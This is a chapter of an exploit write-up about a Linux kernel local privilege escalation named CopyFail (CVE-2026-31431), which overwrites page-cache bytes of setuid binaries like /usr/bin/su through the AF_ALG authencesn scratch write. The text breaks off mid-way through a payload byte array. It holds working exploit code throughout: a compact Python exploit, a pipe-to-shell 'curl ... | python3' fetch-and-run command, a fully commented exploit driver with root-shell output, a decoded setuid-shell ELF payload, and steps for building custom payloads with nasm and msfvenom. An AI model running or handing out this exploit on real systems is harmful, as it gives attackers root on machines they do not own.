7 Exploit Implementations
This chapter turns the page-cache overwrite primitive into full exploit implementations, with variants for different programming languages and Linux environments.
7.1 Official Release
7.1.1 732-byte Python Exploit
The official released Python exploit is deleberately designed to be minimal:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")It leverages Python 3.10+ stdlib only (os, socket, zlib), targeting /usr/bin/su by default:
curl https://copy.fail/exp | python3 && suOr attacker can pass another setuid binary as argv[1]:
axura@pwnlab:~$ curl https://copy.fail/exp | python3 - passwd && su % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 731 0 731 0 0 2310 0 --:--:-- --:--:-- --:--:-- 2305 # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
7.1.2 Artifacts From Origin
Two encoded values in the original script are worth making explicit before the full listing.
7.1.2.1 Authencesn Key Blob
ALG_SET_KEY does not take a raw AES key here. For authencesn(hmac(sha256),cbc(aes)), the socket needs an authenc key blob, parsed by crypto_authenc_extractkeys() — an 8-byte rtattr header plus crypto_authenc_key_param, followed by the concatenated HMAC key and AES key. In the released exploit, the encoded blob:
08000100 00000010 00000000000000000000000000000000 00000000000000000000000000000000Decoded:
authenc key blob
════════════════════════════════════════════════════════════
08 00 01 00 | 00 00 00 10 | 00 ... 00 | 00 ... 00
└─ rtattr ─┘ └ enckeylen ┘ └ auth key ┘ └ enc key ┘
rtattr:
rta_len = 8
rta_type = 1 // CRYPTO_AUTHENC_KEYA_PARAM
crypto_authenc_key_param:
enckeylen = 0x10
key material:
auth key = 16 zero bytes
enc key = 16 zero bytes
rtattr header = 4 bytes
key param = 4 bytes
auth key = 16 bytes
enc key = 16 bytes
────────────────────────────
total blob length = 40 bytesWe could tune those splits for our preference, but the important field is enckeylen = 0x10. It tells the parser remaining key material are 40 - 8 = 32 bytes. Then calculate:
- last 16 bytes: AES-CBC encryption key
- first 16 bytes: HMAC authentication key
So the kernel interprets the blob as:
┌────────────┬────────────┬───────────────┬─────────────┐
│ rtattr │ key param │ auth key │ enc key │
│ 4 bytes │ 4 bytes │ 16 bytes │ 16 bytes │
└────────────┴────────────┴───────────────┴─────────────┘The keys do not need to be meaningful secrets for the primitive. Authentication is expected to fail. The key blob only needs to be structurally valid so the request reaches _aead_recvmsg() and then crypto_authenc_esn_decrypt(), where the 4-byte scratch write happens before recv() returns an error.
7.1.2.2 Zlib Payload Blob
On the other hand, the compressed payload blob is not arbitrary filler. It is the replacement byte stream that the exploit stages into the target executable 4 bytes at a time. Compression serves one practical purpose: keep the released one-file curl | python3 exploit short while preserving the exact byte sequence to be written.
In the original exploit, the runtime step is simply:
payload = zlib.decompress(payload_blob)But after decoding the blob carefully, an important detail appears: the expanded payload is not bare shellcode. It is a tiny ELF64 executable stub.
The original hex blob is:
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3and a direct decode shows:
import zlib
from pathlib import Path
blob = bytes.fromhex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
"e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
"190c0c0c0032c310d3"
)
payload = zlib.decompress(blob)
p = Path("payload.elf")
p.write_bytes(payload)
p.chmod(0o755)
print(f"[+] wrote {p}")
print(f"[+] len: {len(payload)}")
print(f"[+] first 16 bytes: {payload[:16].hex()}")Output:
axura@pwnlab:~/lab/copy-fail$ python3 decode_blob.py [+] wrote payload.elf [+] len: 160 [+] first 16 bytes: 7f454c46020101000000000000000000 axura@pwnlab:~/lab/copy-fail$ file payload.elf payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Those first bytes are the ELF magic plus an ELF64 little-endian header:
7f 45 4c 46 02 01 01 00 ...
└── ELF ──┘ │ │ │ │
magic │ │ │ └─ OS ABI = System V
│ │ └──── ELF version = 1
│ └─────── little-endian
└────────── ELFCLASS64Parse the decoded payload.elf:
axura@pwnlab:~/lab/copy-fail$ readelf -h payload.elf ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0 axura@pwnlab:~/lab/copy-fail$ readelf -l payload.elf Elf file type is EXEC (Executable file) Entry point 0x400078 There is 1 program header, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
The decompressed payload verifies cleanly:
ELF header
════════════════════════════════
len = 160 bytes
type = ET_EXEC
machine = x86_64
entry = 0x400078
program header table
════════════════════════════════
phoff = 0x40
phnum = 1
PT_LOAD segment
════════════════════════════════
off = 0x0
vaddr = 0x400000
flags = R|X
filesz = 0x9e
memsz = 0x9eSo the released exploit does not overwrite /usr/bin/su with naked shellcode at file offset 0. It overwrites the cached file beginning with a tiny ELF executable. That distinction matters because execve() still expects a valid executable image: ELF magic, program headers, and a loadable executable segment.
Since the only PT_LOAD segment maps file offset 0x0 at virtual address 0x400000, the entry point maps back to file offset:
entry_file_offset = 0x400078 - 0x400000
= 0x78At file offset 0x78, the executable stub begins:
31c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000Decoded as x86_64 instructions:
0x78: 31 c0 xor eax, eax
0x7a: 31 ff xor edi, edi
0x7c: b0 69 mov al, 0x69
0x7e: 0f 05 syscall ; setuid(0)
0x80: 48 8d 3d 0f 00 00 00 lea rdi, [rip+0xf] ; -> "/bin/sh"
0x87: 31 f6 xor esi, esi
0x89: 6a 3b push 0x3b
0x8b: 58 pop rax
0x8c: 99 cdq
0x8d: 0f 05 syscall ; execve("/bin/sh", NULL, NULL)
0x8f: 31 ff xor edi, edi
0x91: 6a 3c push 0x3c
0x93: 58 pop rax
0x94: 0f 05 syscall ; exit(0)
0x96: 2f 62 69 6e 2f 73 68 00 "/bin/sh\x00"
0x9e: 00 00 trailing bytes outside PT_LOADSo the payload logic is:
setuid(0) -> execve("/bin/sh",0,0) -> exit(0)In other words, the stub first calls setuid(0), then execve("/bin/sh", NULL, NULL), with the string "/bin/sh\x00" embedded directly after the code.
Conceptually:
zlib blob
│
│ decompress
▼
tiny ELF64 executable
│
├─ valid ELF header
├─ one executable PT_LOAD segment
├─ entry @ 0x400078
├─ code: setuid(0) -> execve("/bin/sh")
└─ embedded string: "/bin/sh\x00"If an attacker wants a different staged payload, the generation step is still straightforward, but the payload must match the overwrite strategy.
For the released exploit style, where the overwrite begins at file offset 0 and the target is later launched through execve(), the decompressed bytes should form a valid executable image — for example, a tiny ELF carrier:
import zlib
from pathlib import Path
desired_payload = Path("payload.elf").read_bytes()
payload_blob = zlib.compress(desired_payload)
payload_blob_hex = payload_blob.hex()
print(payload_blob_hex)he exploit-side decode remains:
payload = zlib.decompress(bytes.fromhex(payload_blob_hex))So the zlib block is not part of the vulnerability mechanics. It is only a compact transport encoding for the bytes that will be planted into the cached executable page. The important constraint is what those bytes represent: if the overwrite starts at file offset 0, they must look like a valid executable image to the ELF loader, not just naked shellcode.
7.2 Full Python Script
The original 732-byte script is ideal for release, but it compresses too many exploit decisions into one line. A readable exploit version should keep the same primitive while making the overwrite layout, request setup, and iteration logic explicit:
- open an
AF_ALGAEAD socket forauthencesn(hmac(sha256),cbc(aes)) - encode the 4-byte write value into
AAD[4:8] - choose a splice length so the last 4 bytes of the imported file range are the bytes to overwrite
- trigger
recv()even though authentication will fail - repeat 4 bytes at a time until the full payload has been staged into page cache
The following version preserves the same strategy as the original PoC, but gives each exploit step a name, adds concise runtime logging, and keeps the control values visible:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : CopyFail CVE-2026-31431 Linux LPE exploit
# Date : 2026-05-15
# Author : Axura (@4xura) - https://4xura.com
#
# Description:
# ------------
# AAD[4:8] -> 4-byte controlled write value
# authsize = 4 -> target bytes sit in the imported tag tail
# splice len=t+4 -> the last 4 imported file bytes are the overwrite target
# recv() -> triggers authencesn() scratch write, even if auth fails
#
# Usage:
# ------
# python3 exploit.py
# DEBUG=1 python3 exploit.py [target_basename]
# python3 exploit.py [target_basename]
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#
import os
import sys
import zlib
import socket
DEBUG = bool(os.getenv("DEBUG"))
def hex_bytes(s: str) -> bytes:
return bytes.fromhex(s)
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
MSG_MORE = 0x8000
# authenc key blob:
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)
def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
"""
Open the vulnerable AEAD transform and one accepted request socket.
userspace:
socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()
kernel:
AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
"""
tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op, _ = tfm.accept()
return tfm, op
def queue_aad(op: socket.socket, write_value: bytes) -> None:
"""
Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.
AAD layout:
byte 0..3 = filler
byte 4..7 = controlled value written later by authencesn()
+------+------+------+------+------+------+------+------+
| A | A | A | A | w0 | w1 | w2 | w3 |
+------+------+------+------+------+------+------+------+
"""
zero = hex_bytes("00")
aad = b"A" * 4 + write_value
# Control messages:
# ALG_SET_OP -> decrypt
# ALG_SET_IV -> 16-byte IV
# ALG_SET_AEAD_ASSOCLEN -> assoclen = 8
op.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_OP, zero * 4),
(SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
],
MSG_MORE,
)
def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
"""
Import the file window whose last 4 bytes are the overwrite target.
splice_len = target_offset + 4
so that the imported bytes are:
file[0 : target_offset] -> ciphertext region
file[target_offset : +4] -> preserved tag tail
authsize = 4 makes those last 4 bytes sit exactly where authencesn()
later performs its destination-side scratch write.
"""
splice_len = target_offset + 4
read_fd, write_fd = os.pipe()
try:
# file -> pipe
os.splice(file_fd, write_fd, splice_len, offset_src=0)
# pipe -> AF_ALG socket
os.splice(read_fd, op_fd, splice_len)
finally:
os.close(read_fd)
os.close(write_fd)
def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
"""
Trigger the decrypt path.
The exploit does not require a successful decrypt. It only requires
authencesn() to execute far enough that:
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)
performs the 4-byte write before recv() reports authentication failure.
"""
try:
op.recv(8 + target_offset)
except OSError as e:
if DEBUG:
print(f" [-] recv() returned: {e}")
def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
"""
Apply one 4-byte overwrite primitive.
exploit geometry for one iteration:
AAD[4:8] = chunk
|
v
recv() -> authencesn() scratch write
|
v
file[target_offset : target_offset+4] in page cache becomes chunk
"""
tfm, op = open_authencesn_socket()
try:
if DEBUG:
print(
f"[+] overwrite @ 0x{target_offset:x}: "
f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
)
queue_aad(op, chunk)
splice_target_window(file_fd, op.fileno(), target_offset)
trigger_decrypt(op, target_offset)
finally:
op.close()
tfm.close()
def decompress_payload() -> bytes:
# zlib-compressed replacement bytes written into the target.
#
# After decompression:
# payload[0:4] -> overwrite at file offset 0x0
# payload[4:8] -> overwrite at file offset 0x4
# ...
#
# main() walks this buffer in 4-byte chunks and turns each chunk into one
# AAD[4:8] value for one exploit iteration.
payload_blob = hex_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
"e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
"190c0c0c0032c310d3"
)
return zlib.decompress(payload_blob)
def main() -> None:
target = "/usr/bin/su"
if len(sys.argv) > 1:
target = f"/usr/bin/{sys.argv[1]}"
payload = decompress_payload()
print(f"[+] target : {target}")
print(f"[+] payload : {len(payload)} bytes")
print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")
file_fd = os.open(target, os.O_RDONLY)
try:
# Each loop iteration patches one 4-byte slot in the target executable.
for target_offset in range(0, len(payload), 4):
chunk = payload[target_offset : target_offset + 4]
overwrite_4_bytes(file_fd, target_offset, chunk)
finally:
os.close(file_fd)
print("[+] payload staged into page cache, executing target...")
os.system("su")
if __name__ == "__main__":
main()So the full exploit has two encoded inputs:
- the
AUTHENC_KEY_BLOB, which is the minimum validauthenckey package needed to instantiateauthencesn(hmac(sha256),cbc(aes)) - the zlib-compressed payload blob, which expands into the replacement byte stream later written into the target setuid binary
This version now follows the exploit chain directly:
open_authencesn_socket()selects the vulnerable AEAD implementation.queue_aad()places the controlled 4-byte value inAAD[4:8].splice_target_window()imports a file range whose last 4 bytes are the overwrite target.trigger_decrypt()forcescrypto_authenc_esn_decrypt()to execute the scratch write.main()repeats that primitive until the full replacement payload has been staged into page cache.
Compared with the Chapter 5 PoCs, the important difference is scope: this is no longer a lab-shaped demonstrator for one controlled marker overwrite, but a full exploit driver that repeatedly turns the 4-byte primitive into a complete executable patch.
This pwns:
axura@pwnlab:~$ python3 exploit.py [+] target : /usr/bin/su [+] payload : 160 bytes [+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write [+] overwrite @ 0x0: 7f454c46 (ELF) [-] recv() returned: [Errno 74] Bad message [+] overwrite @ 0x4: 02010100 () [-] recv() returned: [Errno 74] Bad message [+] overwrite @ 0x8: 00000000 () [-] recv() returned: [Errno 74] Bad message [+] overwrite @ 0xc: 00000000 () [-] recv() returned: [Errno 74] Bad message ... [+] overwrite @ 0x94: 0f052f62 (/b) [-] recv() returned: [Errno 74] Bad message [+] overwrite @ 0x98: 696e2f73 (in/s) [-] recv() returned: [Errno 74] Bad message [+] overwrite @ 0x9c: 68000000 (h) [-] recv() returned: [Errno 74] Bad message [+] payload staged into page cache, executing target... # id uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
7.3 C Exploit
Some victim Linux hosts may not install Python by default, so it is neccessary to develop a C version under certain restricted circumstances.
With the exploit chain and the Chapter 5 PoCs in place, a C variant no longer needs any hidden steps. This section is a readable C exploit template that follows the same logic as the Python full exploit:
- instantiate
authencesn(hmac(sha256),cbc(aes)) - place the controlled 4-byte value in
AAD[4:8] - splice
file[0 : target_offset + 4]into the acceptedAF_ALGsocket - trigger decrypt and ignore the expected authentication failure
- repeat 4 bytes at a time until the replacement payload has been staged into page cache
For portability, this template uses ordinary Linux userspace interfaces:
- libc file/socket APIs
- Linux
AF_ALGUAPI headers splice()- an explicit replacement-byte placeholder instead of an embedded compressed blob
7.3.1 Arbitrary Code Execution
For a more tunable arbitrary-code-execution exploit, we should treat the overwrite as an executable loader problem.
From 7.1.2.2, we already know the victim page cache should be patched with a valid ELF64 executable stub, not raw shellcode dropped blindly at file offset 0. That means we need to separate two layers:
- the payload logic we want to run, such as
execve("/bin/sh") - the ELF carrier that wraps that logic in a format the kernel loader accepts
7.3.1.1 Solution 1: Shellcode + Manual ELF Carrier
There are many ways to generate Linux shellcode. For this exploit, I will use my self-developed pwnkit repo:
pip install pwnkitFor the payload logic itself, I use the common execve("/bin/sh") for amd64:
from pwnkit import *
sc = ShellcodeReigstry.get("amd64", "execve_bin_sh")
# Inspect the selected payload
sc.dump()
# Or, as a comma-separated byte array:
print("[+] The comma-separated byte array")
print(", ".join(f"0x{b:02x}" for b in sc.blob))Output:
axura@pwnlab:~/lab/copy-fail$ python3 sc_64.py [+] Shellcode: execve_bin_sh (variant 27, amd64), 27 bytes [+] Description: execve_bin_sh (variant 27) \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 [+] The comma-separated byte array 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05
At this point we only have the payload logic. For the offset-0 /usr/bin/su path, we still need to wrap those bytes in a loader-friendly file image before feeding them to the exploit.
So next step is to build a fresh minimum ELF carrier around the shellcode.
Create payload.asm:
global _start
section .text
_start:
xor edi, edi
mov eax, 105
syscall
jmp shellcode
shellcode:
db PLACEHOLDER_FOR_SHELLCODEControl flow is simple:
_startbegins at the ELF entry pointxor edi, edi; mov eax, 105; syscallperformssetuid(0)jmp shellcodetransfers execution directly into the embedded bytesdb PLACEHOLDER_FOR_SHELLCODEis where we paste thepwnkitoutput
For the 27-byte amd64 execve_bin_sh payload above, PLACEHOLDER_FOR_SHELLCODE becomes:
db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91
db 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53
db 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0
db 0x3b, 0x0f, 0x05Then create payload.ld to tell ld how to lay out the ELF. To keep the carrier small, we force a single loadable segment that includes the ELF header and program header in the same mapped region, and place .text immediately after those headers with SIZEOF_HEADERS:
ENTRY(_start)
PHDRS
{
text PT_LOAD FILEHDR PHDRS FLAGS(5); /* R|X */
}
SECTIONS
{
. = 0x400000 + SIZEOF_HEADERS;
.text : {
*(.text*)
*(.rodata*)
} :text
/DISCARD/ : {
*(.note*)
*(.comment*)
*(.eh_frame*)
}
}So the workflow is:
- save the asm stub as
payload.asm - replace
PLACEHOLDER_FOR_SHELLCODEwith the generatedpwnkitbytes - save the linker script as
payload.ld - assemble and link with
nasmandld
Build it:
nasm -f elf64 payload.asm -o payload.o
ld -nostdlib -static -s -T payload.ld -o payload.pwnkit.elf payload.oHere -s already asks ld to strip symbols, so no extra strip step is needed for this compact build.
Output:
axura@pwnlab:~/lab/copy-fail$ ls payload.* payload.asm payload.ld axura@pwnlab:~/lab/copy-fail$ nasm -f elf64 payload.asm -o payload.o axura@pwnlab:~/lab/copy-fail$ ld -nostdlib -static -s -T payload.ld -o payload.pwnkit.elf payload.o axura@pwnlab:~/lab/copy-fail$ file payload.pwnkit.elf payload.pwnkit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped axura@pwnlab:~/lab/copy-fail$ readelf -l payload.pwnkit.elf Elf file type is EXEC (Executable file) Entry point 0x400080 There is 1 program header, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x00000000000000a6 0x00000000000000a6 R E 0x1000 Section to Segment mapping: Segment Sections... 00 .text axura@pwnlab:~/lab/copy-fail$ readelf -h payload.pwnkit.elf ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400080 Start of program headers: 64 (bytes into file) Start of section headers: 184 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 64 (bytes) Number of section headers: 3 Section header string table index: 2
This is the compact result we want for the exploit path: one PT_LOAD, entry at 0x400080, and only 0xa6 bytes to stage into page cache.
Once payload.pwnkit.elf is ready, we can export the exact replacement bytes with:
from pathlib import Path
from pwnkit import *
pl_filename = "payload.pwnkit.elf"
blob = Path(pl_filename).read_bytes()
# Output C macro string-literal format:
# #define PAYLOAD_BYTES "\xde\xad\xbe\xef..."
print("[+] C macro format, use as:")
print('#define PAYLOAD_BYTES "\\xde\\xad\\xbe\\xef..."\n')
print(hex_shellcode(blob))
# Output C byte-array initializer format:
# const unsigned char PAYLOAD_BYTES[] = {0xde, 0xad, 0xbe, 0xef, ...};
print("\n\n[+] C char array format, use as:")
print("const unsigned char PAYLOAD_BYTES[] = { ... };\n")
print(", ".join(f"0x{b:02x}" for b in blob))and then drop that byte array into PAYLOAD_BYTES.
7.3.1.2 Solution 2: Direct ELF Payload From msfvenom
If we do not need a hand-crafted carrier, we can let a payload generator emit a full ELF for us directly. For example:
msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elfOutputs a 44-byte only payload, though larger than the raw shellcodes we used in previous section:
axura@pwnlab:~/lab/copy-fail$ msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 44 bytes Final size of elf file: 164 bytes Saved as: payload.elf axura@pwnlab:~/lab/copy-fail$ file payload.elf payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header axura@pwnlab:~/lab/copy-fail$ readelf -h payload.elf ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0 axura@pwnlab:~/lab/copy-fail$ readelf -l payload.elf Elf file type is EXEC (Executable file) Entry point 0x400078 There is 1 program header, starting at offset 64 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x00000000000000a4 0x00000000000000d0 RWE 0x1000
That skips the carrier-building step entirely: payload.elf is already a loader-friendly executable image, so the exploit can simply stage its bytes into page cache from file offset 0.
Again, the last step is just to export the file bytes:
from pathlib import Path
from pwnkit import *
pl_filename = "payload.elf"
blob = Path(pl_filename).read_bytes()
# Output C macro string-literal format:
# #define PAYLOAD_BYTES "\xde\xad\xbe\xef..."
print("[+] C macro format, use as:")
print('#define PAYLOAD_BYTES "\\xde\\xad\\xbe\\xef..."\n')
print(hex_shellcode(blob))
# Output C byte-array initializer format:
# const unsigned char PAYLOAD_BYTES[] = {0xde, 0xad, 0xbe, 0xef, ...};
print("\n\n[+] C char array format, use as:")
print("const unsigned char PAYLOAD_BYTES[] = { ... };\n")
print(", ".join(f"0x{b:02x}" for b in blob))ahen places the generated bytes into the PAYLOAD_BYTES variable in the exploit script in 7.3.2. The exploit should behave the same way:
axura@pwnlab:~/lab/copy-fail$ msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 44 bytes Final size of elf file: 164 bytes Saved as: payload.elf axura@pwnlab:~/lab/copy-fail$ file payload.elf payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header axura@pwnlab:~/lab/copy-fail$ python3 encode_payload.py [+] C macro format, use as: #define PAYLOAD_BYTES "\xde\xad\xbe\xef..." \x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x 00\x40\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x31\xff\xb8\x69\x00\x00\x00\x0f\x05\xeb\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00\x2e\x73\x68\x73\x74\x 72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\x11 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [+] C char array format, use as: const unsigned char PAYLOAD_BYTES[] = { ... }; 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x 00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 , 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0x db, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 , 0x00, 0x00, 0x00, 